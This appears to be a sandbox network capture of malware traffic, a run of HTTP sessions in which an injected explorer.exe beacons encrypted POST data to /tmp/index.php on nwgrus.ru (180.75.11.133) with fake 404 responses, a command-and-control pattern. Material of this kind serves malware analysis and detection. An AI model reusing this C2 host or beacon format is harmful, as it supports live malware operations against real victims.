Oct 8, 2024 03:14:53.627556086 CEST	167	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1c 6b 2c 90 f5 76 0b 75 41 42 ef e3 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vuABA\|N^=7n05aBy-OF //ZOWiy*@a
Oct 8, 2024 03:14:55.011884928 CEST	189	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:54 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 59 39 08 a5 6c 5f b5 ac 17 bd cf b4 fe 6d 9f 3d d4 a1 72 0a 41 c2 8f 97 cb Data Ascii: #\6Y9l_m=rA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49773	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:56.384501934 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kldixuwrvoj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 322 Host: nwgrus.ru
Oct 8, 2024 03:14:56.384537935 CEST	322	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2c 5b 1c 6b 2c 90 f4 76 0b 75 26 5e e0 fc Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA ,[k,vu&^W2MkU?Ey\|8:mvl10yk*;&M<P#LWAypY.4:!ahGSPqzK41
Oct 8, 2024 03:14:57.757764101 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:57 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49784	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:57.765925884 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jrduoddrbbwoyfog.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 312 Host: nwgrus.ru
Oct 8, 2024 03:14:57.765960932 CEST	312	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1d 6b 2c 90 f5 76 0b 75 34 20 d9 ee Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vu4 O+Qle^RfLX*7LRFATTvG2]Q$s~:HBWvT^rWv-@c& M
Oct 8, 2024 03:14:59.141500950 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:58 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49795	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:59.148987055 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fadawnjwyvdbowke.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 248 Host: nwgrus.ru
Oct 8, 2024 03:14:59.149019957 CEST	248	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 12 6b 2c 90 f5 76 0b 75 60 56 c3 bb Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vu`VTCNnJNx{q*O\|767q)O 8aR75.$MHWbaT3^DGl\|a\x\|8^ary5Q)
Oct 8, 2024 03:15:00.543446064 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:15:00 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49803	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:15:00.551059008 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ejoaxqvdwaljnps.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 166 Host: nwgrus.ru
Oct 8, 2024 03:15:00.551074982 CEST	166	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 13 6b 2c 90 f5 76 0b 75 55 20 d5 e8 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vuU zZ+N;;pm*[dk?^3-!%/Z6+@sT3b#
Oct 8, 2024 03:15:01.942102909 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:15:01 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49812	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:15:01.957376957 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qmmqfrtscgkdrbea.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 229 Host: nwgrus.ru
Oct 8, 2024 03:15:01.957405090 CEST	229	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 10 6b 2c 90 f5 76 0b 75 29 18 df 8e Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vu)R,z#L%r?\&n\G$)}f9PP~%<'{m;lTJ:z7D!U;W`IoRd
Oct 8, 2024 03:15:03.346745014 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:15:03 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49822	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:15:03.354633093 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kcwpxhfqrcwcynne.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 180 Host: nwgrus.ru
Oct 8, 2024 03:15:03.354633093 CEST	180	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 11 6b 2c 90 f5 76 0b 75 32 25 d9 a0 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vu2%_r\>eeC{:)<oqJs62-H UOLNP,W%Q
Oct 8, 2024 03:15:04.734694958 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:15:04 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49831	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:15:04.742368937 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ksfanihxkdmgc.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 180 Host: nwgrus.ru
Oct 8, 2024 03:15:04.742368937 CEST	180	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 16 6b 2c 90 f5 76 0b 75 7d 54 d0 a8 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vu}TUBqI<5k_yzc\|!XBGI-6MM,pF8X4g
Oct 8, 2024 03:15:06.121746063 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:15:05 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49841	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:15:06.130975008 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gshbntjmlxbreay.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 304 Host: nwgrus.ru
Oct 8, 2024 03:15:06.130975008 CEST	304	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 17 6b 2c 90 f5 76 0b 75 58 07 a4 f6 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vuXJ2mSD+Cg0Z(W)2nO+~dQ-2o&$ tjJbDuK1";=V3qnrzFyqs<&W1
Oct 8, 2024 03:15:07.506372929 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:15:07 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50056	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:16:15.953778028 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mqkcxjfgdkafebli.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 290 Host: nwgrus.ru
Oct 8, 2024 03:16:15.953795910 CEST	290	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 3a 22 ba 9b Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA .[k,vu:"BtuP",'a+?CGI#73)fS^Oy5uJ_i~'#!eL6B`:l\'HS"Wn8KH%!
Oct 8, 2024 03:16:17.332349062 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:16:17 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50057	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:16:23.850915909 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pvrcqmbcktsc.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 236 Host: nwgrus.ru
